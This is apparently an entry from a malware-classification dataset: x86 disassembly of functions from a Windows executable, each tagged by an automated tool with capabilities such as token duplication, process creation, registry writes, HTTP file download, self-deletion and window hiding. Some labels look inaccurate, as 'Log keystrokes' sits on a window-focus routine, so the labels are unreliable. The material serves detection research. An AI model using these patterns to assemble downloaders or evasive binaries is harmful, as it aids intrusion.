joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a9c8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa0
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40ab4d
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
lea eax, [ebp - 0xc]
push eax
push 0xf01ff
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x40ab37
xor edx, edx
push ebp
push 0x40ab30
push dword fs:[edx]
mov dword fs:[edx], esp
lea eax, [ebp - 0x10]
push eax
push 1
push 2
push 0
push 0xf01ff
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_DuplicateTokenEx
test eax, eax
jne 0x40aa3b
call fcn.00405cd0
jmp 0x40ab37
xor edx, edx
push ebp
push 0x40ab12
push dword fs:[edx]
mov dword fs:[edx], esp
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x14], 0xffffffff
xor eax, eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x60]
xor ecx, ecx
mov edx, 0x44
call fcn.004044d0
mov dword [ebp - 0x60], 0x44
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00406a34
push esi
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 4]
call fcn.00406980
push eax
push 0
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_CreateProcessAsUserW
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
cmp byte [ebp - 5], 0
jne 0x40aafb
call sub.kernel32.dll_GetLastError_2
cmp eax, 0x522
jne 0x40aaef
push esi
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x1c]
push eax
mov eax, ebx
call fcn.00406994
push eax
push 0
call sub.kernel32.dll_CreateProcessW
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
jmp 0x40aafb
call fcn.00405cd0
call fcn.00405cd0
jmp 0x40ab37
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ab19
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ab54
lea eax, [ebp - 4]
call fcn.004063dc
ret
Function at 0x40acf4
Capabilities:
Check for foreground window switch
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov edx, 0xffffffec
push edx
push eax
call sub.user32.dll_GetWindowLongW
test al, 8
setne byte [ebp - 0x19]
movzx eax, byte [ebp - 0x19]
or al, byte [ebp - 5]
je 0x40ad36
push 3
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_SetWindowPos
jmp 0x40ad4b
push 3
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_SetWindowPos
xor eax, eax
push ebp
push 0x40ae8f
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.user32.dll_GetForegroundWindow
cmp eax, dword [ebp - 4]
sete bl
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x40ae53
push 0
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov dword [ebp - 0xc], eax
push 0
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov dword [ebp - 0x10], eax
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.user32.dll_AttachThreadInput
test eax, eax
je 0x40adee
xor eax, eax
push ebp
push 0x40ade7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_BringWindowToTop
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_SetForegroundWindow
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40adee
push 0
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.user32.dll_AttachThreadInput
call sub.user32.dll_GetForegroundWindow
cmp eax, dword [ebp - 4]
sete bl
ret
test bl, bl
jne 0x40ae43
push 0
lea eax, [ebp - 0x14]
push eax
push 0
push 0x2000
call sub.user32.dll_SystemParametersInfoW
push 2
push 0
push 0
push 0x2001
call sub.user32.dll_SystemParametersInfoW
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_BringWindowToTop
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_SetForegroundWindow
push 2
mov eax, dword [ebp - 0x14]
push eax
push 0
push 0x2001
call sub.user32.dll_SystemParametersInfoW
call sub.user32.dll_GetForegroundWindow
cmp eax, dword [ebp - 4]
sete bl
cmp dword [ebp - 0x18], 0
je 0x40ae50
push 0x32
call sub.kernel32.dll_Sleep_1
inc dword [ebp - 0x18]
test bl, bl
jne 0x40ae61
cmp dword [ebp - 0x18], 0xa
jle 0x40ad6e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ae96
movzx eax, byte [ebp - 0x19]
xor al, 1
and al, byte [ebp - 5]
je 0x40ae8e
push 3
push 0
push 0
push 0
push 0
push 0xfffffffffffffffe
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_SetWindowPos
ret
Function at 0x40c17c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 4], ebx
mov ebx, ecx
mov esi, edx
xor eax, eax
push ebp
push 0x40c319
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
lea eax, [ebp - 4]
push eax
mov eax, dword [0x427cd4]
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x24], 0x11
mov eax, dword [0x427cd8]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x1c], 0x11
lea edx, [ebp - 0x28]
mov ecx, 1
mov eax, 0x40c338
call fcn.0040a0b8
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
mov eax, dword [ebp - 4]
call fcn.00406994
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x40c2fb
xor eax, eax
push ebp
push 0x40c2f4
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, esi
call fcn.00406994
mov edi, eax
push edi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x40c23e
cmp dword [ebp - 0x14], 2
jb 0x40c23e
cmp dword [ebp - 0x10], 1
je 0x40c248
call fcn.00405cd0
jmp 0x40c2fb
mov eax, dword [ebp - 0x14]
push eax
call fcn.00407c70
pop ecx
mov dword [ebp - 0x18], eax
xor eax, eax
push ebp
push 0x40c2d6
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push edi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x40c2be
mov eax, ebx
call fcn.00406394
mov edx, dword [ebp - 0x14]
shr edx, 1
mov eax, ebx
call fcn.00406abc
mov eax, ebx
call fcn.00406844
mov edx, eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
call fcn.00403b84
lea edx, [ebp - 0x2c]
mov eax, dword [ebx]
call fcn.00409c70
mov edx, dword [ebp - 0x2c]
mov eax, ebx
call fcn.00406698
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c2dd
mov eax, dword [ebp - 0x18]
push eax
call fcn.00407c80
pop ecx
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c320
lea eax, [ebp - 0x2c]
call fcn.00406394
lea eax, [ebp - 4]
call fcn.00406394
ret
Function at 0x40c370
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, ecx
mov edi, edx
xor eax, eax
push ebp
push 0x40c469
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
lea eax, [ebp - 4]
push eax
mov eax, dword [0x427cd4]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x1c], 0x11
mov eax, dword [0x427cd8]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 0x11
lea edx, [ebp - 0x20]
mov ecx, 1
mov eax, 0x40c488
call fcn.0040a0b8
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0x20006
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00406994
push eax
push 0x80000002
call sub.advapi32.dll_RegCreateKeyExW
test eax, eax
jne 0x40c453
xor eax, eax
push ebp
push 0x40c44c
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, esi
test ebx, ebx
je 0x40c40c
sub ebx, 4
mov ebx, dword [ebx]
inc ebx
mov eax, ebx
add eax, eax
push eax
mov eax, esi
call fcn.00406994
push eax
push 1
push 0
mov eax, edi
call fcn.00406994
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExW
test eax, eax
sete byte [ebp - 5]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c453
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c470
lea eax, [ebp - 4]
call fcn.00406394
ret

Function at 0x4115c0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff800
push ebx
mov ebx, ecx
mov word [ebp - 0x800], 0
push 0x400
lea ecx, [ebp - 0x800]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW
mov eax, ebx
lea edx, [ebp - 0x800]
mov ecx, 0x400
call fcn.004069f8
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x411cd8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
push 0
push 0
push edi
movzx eax, si
push eax
call sub.kernel32.dll_GetLocaleInfoW
mov ebx, eax
mov eax, ebx
add eax, eax
call fcn.00403a2c
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x411d3d
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
mov eax, dword [ebp - 4]
push eax
push edi
movzx eax, si
push eax
call sub.kernel32.dll_GetLocaleInfoW
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
call fcn.004069bc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x411d44
mov eax, dword [ebp - 4]
call fcn.00403a48
ret
Function at 0x412eac
Capabilities:
Check for time delay via gettickcount
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x413085
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
push 0x427d50
call sub.kernel32.dll_InterlockedExchange
call sub.kernel32.dll_GetTickCount
xor edx, edx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
mov eax, ebx
call fcn.004134f4
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
jne 0x412ef8
call fcn.00405cd0
jmp 0x41308c
call sub.kernel32.dll_GetTickCount
xor edx, edx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 0xc]
jne 0x412f17
cmp eax, dword [ebp - 0x10]
jae 0x412f2b
jmp 0x412f19
jge 0x412f2b
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add eax, 0xffffffff
adc edx, 0
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
sub eax, dword [ebp - 0x10]
sbb edx, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
fild qword [ebp - 0x20]
fdiv dword [0x413098]
call fcn.00403f94
mov dword [0x427d7c], eax
cmp dword [0x427d50], 2
jne 0x412f63
call fcn.00405cd0
jmp 0x41308c
mov edx, dword [0x424268]
mov edx, dword [edx]
mov eax, dword [0x40ca14]
call fcn.0040cae0
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
jne 0x412f88
call fcn.00405cd0
jmp 0x41308c
cmp dword [0x427d50], 2
jne 0x412f9b
call fcn.00405cd0
jmp 0x41308c
push 4
push 0x427d50
call sub.kernel32.dll_InterlockedExchange
call sub.kernel32.dll_GetTickCount
mov dword [0x427d88], eax
mov eax, ebx
call fcn.004136b8
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
jne 0x412fcb
call fcn.00405cd0
jmp 0x41308c
mov eax, dword [0x40b664]
call fcn.0040ba4c
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
jne 0x412fe8
call fcn.00405cd0
jmp 0x41308c
call sub.kernel32.dll_GetTickCount
sub eax, dword [0x427d88]
mov dword [0x427d8c], eax
cmp dword [0x427d8c], 0x7530
jbe 0x413014
mov edx, dword [0x427d8c]
mov eax, dword [0x40cdd4]
call fcn.0040d2d4
push 5
push 0x427d50
call sub.kernel32.dll_InterlockedExchange
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41308c
cmp dword [0x427d50], 2
je 0x413084
mov eax, dword [0x424268]
mov eax, dword [eax]
call fcn.00406994
push eax
call sub.kernel32.dll_DeleteFileW
test eax, eax
jne 0x413084
xor eax, eax
push ebp
push 0x41307a
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
push 0
mov eax, dword [0x424268]
mov eax, dword [eax]
call fcn.00406994
push eax
call sub.kernel32.dll_MoveFileExW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x413084
ret
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41309c
Capabilities:
Check http status code
Create http request
Get http content length

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
xor eax, eax
push ebp
push 0x413257
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 4]
call fcn.0040bc38
mov eax, dword [ebp - 4]
call fcn.00406994
push eax
call sub.wininet.dll_DeleteUrlCacheEntryW
push 0
push 0
push 0
push 0
push 0
call sub.wininet.dll_InternetOpenW
mov dword [0x427d64], eax
cmp dword [0x427d64], 0
je 0x413234
cmp dword [0x427d74], 0
jbe 0x413133
push 0x413274
lea edx, [ebp - 0x18]
mov eax, dword [0x427d74]
call fcn.004094b0
push dword [ebp - 0x18]
push 0x41329c
lea eax, [ebp - 8]
mov edx, 3
call fcn.00406c1c
mov eax, dword [ebp - 8]
call fcn.00406994
mov edi, eax
jmp 0x41313d
lea eax, [ebp - 8]
call fcn.00406394
xor edi, edi
mov esi, dword [ebp - 8]
test esi, esi
je 0x413149
sub esi, 4
mov esi, dword [esi]
push 0
push 0x84080300
push esi
push edi
mov eax, dword [ebp - 4]
call fcn.00406994
push eax
mov eax, dword [0x427d64]
push eax
call sub.wininet.dll_InternetOpenUrlW
mov dword [0x427d68], eax
cmp dword [0x427d68], 0
je 0x413234
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 4
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x20000013
mov eax, dword [0x427d68]
push eax
call sub.wininet.dll_HttpQueryInfoW
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x413234
cmp dword [ebp - 0x14], 0xc8
je 0x4131db
cmp dword [ebp - 0x14], 0xcb
je 0x4131db
cmp dword [ebp - 0x14], 0xce
je 0x4131db
cmp dword [ebp - 0x14], 0x1a0
je 0x4131db
xor ebx, ebx
jmp 0x4131dd
mov bl, 1
test bl, bl
je 0x413234
mov dword [ebp - 0xc], 4
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x427d6c
push 0x20000005
mov eax, dword [0x427d68]
push eax
call sub.wininet.dll_HttpQueryInfoW
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x413234
cmp dword [ebp - 0x14], 0x1a0
jne 0x413229
mov eax, dword [0x427d74]
mov dword [0x427d6c], eax
jmp 0x413234
mov eax, dword [0x427d74]
add dword [0x427d6c], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41325e
lea eax, [ebp - 0x18]
call fcn.00406394
lea eax, [ebp - 8]
mov edx, 2
call fcn.004063f4
ret

Function at 0x413384
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, 0x427d70
xor ebx, ebx
cmp dword [0x427d70], 0
je 0x4133a2
cmp dword [0x427d70], 0xffffffff
jne 0x413406
push 0
push 0x80
push 4
push 0
push 3
push 0xc0000000
mov eax, dword [0x424268]
mov eax, dword [eax]
call fcn.00406994
push eax
call sub.kernel32.dll_CreateFileW_1
mov dword [0x427d70], eax
cmp dword [0x427d70], 0
je 0x413406
cmp dword [0x427d70], 0xffffffff
je 0x413406
push 2
push 0
push 0
mov eax, dword [0x427d70]
push eax
call sub.kernel32.dll_SetFilePointer_1
cmp eax, 0xffffffff
setne bl
push 0
mov eax, dword [0x427d70]
push eax
call sub.kernel32.dll_GetFileSize_1
mov dword [0x427d74], eax
mov eax, ebx
pop esi
pop ebx
pop ebp
ret
Function at 0x413440
Capabilities:
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde8
push ebx
lea eax, [ebp - 4]
push eax
push 0x200
lea eax, [ebp - 0x208]
push eax
mov eax, dword [0x427d68]
push eax
call sub.wininet.dll_InternetReadFile
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x4134e8
cmp dword [ebp - 4], 0
jbe 0x4134e8
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x208]
push eax
mov eax, dword [0x427d70]
push eax
call sub.kernel32.dll_WriteFile_1
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x4134e8
mov eax, dword [ebp - 8]
add dword [0x427d74], eax
mov eax, dword [0x427d74]
mov dword [ebp - 0x210], eax
xor eax, eax
mov dword [ebp - 0x20c], eax
fild qword [ebp - 0x210]
mov eax, dword [0x427d6c]
mov dword [ebp - 0x218], eax
xor eax, eax
mov dword [ebp - 0x214], eax
fild qword [ebp - 0x218]
fdivp st(1)
fmul dword [0x4134f0]
call fcn.00403f94
mov byte [0x427d78], al
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4141e4
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
xor edx, edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x24], edx
xor eax, eax
push ebp
push 0x4143b6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x4143c4
push 0x80000002
call sub.advapi32.dll_RegCreateKeyExW
test eax, eax
jne 0x414398
xor edx, edx
push ebp
push 0x414391
push dword fs:[edx]
mov dword fs:[edx], esp
lea eax, [ebp - 0x10]
push eax
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0x414438
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x414307
cmp dword [ebp - 0x10], 0
jle 0x414307
cmp dword [ebp - 8], 1
jne 0x414307
mov eax, dword [ebp - 0x10]
push eax
call fcn.00407c70
pop ecx
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x414300
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
xor ecx, ecx
call fcn.004044d0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0x414438
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x4142e8
mov ecx, dword [ebp - 0x10]
sar ecx, 1
jns 0x4142c1
adc ecx, 0
mov eax, 0x427db8
mov edx, dword [ebp - 0xc]
call fcn.0040651c
lea edx, [ebp - 0x24]
mov eax, dword [0x427db8]
call fcn.00409bf4
mov edx, dword [ebp - 0x24]
mov eax, 0x427db8
call fcn.00406698
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x414307
mov eax, dword [ebp - 0xc]
push eax
call fcn.00407c80
pop ecx
ret
mov eax, dword [0x427db8]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x41431b
sub eax, 4
mov eax, dword [eax]
test eax, eax
jg 0x41437a
lea eax, [ebp - 0x20]
call fcn.00409d20
test eax, eax
jne 0x41437a
lea edx, [ebp - 0x2c]
lea eax, [ebp - 0x20]
call fcn.00409d2c
mov edx, dword [ebp - 0x2c]
mov eax, 0x427db8
call fcn.00406698
mov eax, dword [0x427db8]
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x414357
sub ebx, 4
mov ebx, dword [ebx]
inc ebx
mov eax, ebx
add eax, eax
push eax
mov eax, dword [0x427db8]
call fcn.00406994
push eax
push 1
push 0
push 0x414438
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x414398
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4143bd
lea eax, [ebp - 0x2c]
call fcn.00406394
lea eax, [ebp - 0x24]
call fcn.00406394
ret
Function at 0x414798
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
mov ebx, ecx
mov edi, edx
mov esi, dword [ebp + 8]
xor eax, eax
push ebp
push 0x41490f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00406394
mov eax, esi
call fcn.00406394
mov dword [ebp - 0xc], 0x824
mov eax, dword [ebp - 0xc]
add eax, eax
push eax
call fcn.00407c70
pop ecx
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4148ed
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0xc]
add edx, edx
mov eax, dword [ebp - 8]
xor ecx, ecx
call fcn.004044d0
push 0x2000000
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, edi
call fcn.00406994
push eax
call sub.wininet.dll_InternetCanonicalizeUrlW
test eax, eax
jne 0x41482b
mov byte [ebp - 1], 0
call fcn.00405cd0
jmp 0x4148f4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x3c
call fcn.004044d0
mov dword [ebp - 0x48], 0x3c
mov dword [ebp - 0x40], 0x20
mov dword [ebp - 0x34], pe_nt_image_headers32
mov dword [ebp - 0x28], 0x80
mov dword [ebp - 0x20], 0x80
mov dword [ebp - 0x18], 0x800
mov dword [ebp - 0x10], 0x800
lea eax, [ebp - 0x48]
push eax
push 0
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCrackUrlW
test eax, eax
jne 0x41488d
mov byte [ebp - 1], 0
call fcn.00405cd0
jmp 0x4148f4
mov edi, dword [ebp - 0x38]
test edi, edi
je 0x4148af
push ebx
lea eax, [ebp - 0x4c]
mov edx, edi
call fcn.004069bc
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x34]
mov edx, 1
call fcn.00406d04
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4148d1
push esi
lea eax, [ebp - 0x50]
mov edx, ebx
call fcn.004069bc
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0xc]
mov edx, 1
call fcn.00406d04
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4148f4
mov eax, dword [ebp - 8]
push eax
call fcn.00407c80
pop ecx
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x414916
lea eax, [ebp - 0x50]
mov edx, 2
call fcn.004063f4
ret
Function at 0x4161c4
Capabilities:
Access peb ldr_data
Get number of processors
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
test dl, dl
je 0x4161de
add esp, 0xfffffff0
call fcn.00405844
mov byte [ebp - 1], dl
mov ebx, eax
xor eax, eax
push ebp
push 0x416343
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebx + 8], ecx
mov dl, 1
mov eax, dword [0x414d54]
call fcn.00414e18
mov dword [ebx + 0x3c], eax
xor eax, eax
mov dword [ebx + 0x34], eax
mov byte [ebx + 0x30], 0
xor eax, eax
mov dword [ebx + 0x20], eax
mov dword [ebx + 0x24], eax
mov dl, 1
mov eax, dword [0x414f04]
call fcn.00415664
mov dword [ebx + 0x10], eax
lea eax, [ebx + 0x18]
call fcn.00406394
lea eax, [ebx + 0x14]
call fcn.00406394
xor eax, eax
mov dword [ebx + 0xc], eax
mov byte [ebx + 0x31], 0
xor eax, eax
mov dword [ebx + 0x28], eax
mov dword [ebx + 0x2c], eax
mov byte [ebx + 0x38], 2
lea eax, [ebx + 0x40]
xor ecx, ecx
mov edx, 0x50
call fcn.004044d0
lea esi, [ebx + 0x40]
mov eax, dword [ebx + 0x18]
call fcn.00406994
mov dword [esi], eax
mov dword [esi + 4], 0x50000000
xor eax, eax
mov dword [esi + 8], eax
xor eax, eax
mov dword [esi + 0xc], eax
xor eax, eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 0x64
mov dword [esi + 0x18], 0x32
mov eax, dword [ebx + 8]
mov dword [esi + 0x1c], eax
mov dword [esi + 0x28], 0xb
push 0x7f00
push 0
call sub.user32.dll_LoadCursorW
mov dword [esi + 0x40], eax
xor eax, eax
mov dword [esi + 0x44], eax
mov eax, dword [0x427b8c]
mov dword [esi + 0x38], eax
mov edi, 0x415fe0
mov dword [esi + 0x2c], edi
lea edx, [ebx + 0x40]
mov eax, ebx
mov si, 0xffff
call fcn.004057bc
lea esi, [ebx + 0x40]
lea eax, [ebp - 8]
mov edx, dword [esi]
call fcn.004069bc
mov edx, dword [ebp - 8]
mov eax, dword [ebx + 0x18]
call fcn.00406ccc
je 0x4162eb
lea eax, [ebx + 0x18]
mov edx, dword [esi]
call fcn.004069bc
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
push ebx
movzx eax, word [0x427dc4]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.user32.dll_SetPropW
push 0x11
call sub.gdi32.dll_GetStockObject
mov edx, eax
mov eax, dword [ebx + 0x10]
call fcn.00415984
cmp dword [ebx + 0xc], 0
je 0x41632d
mov eax, dword [ebx + 4]
mov edx, 0xfffffffc
mov esi, edi
push esi
push edx
push eax
call sub.user32.dll_SetWindowLongW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41634a
lea eax, [ebp - 8]
call fcn.00406394
ret

Function at 0x41f1b8
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0
mov eax, dword [0x427ddc]
push eax
call sub.user32.dll_ShowWindow
pop ebp
ret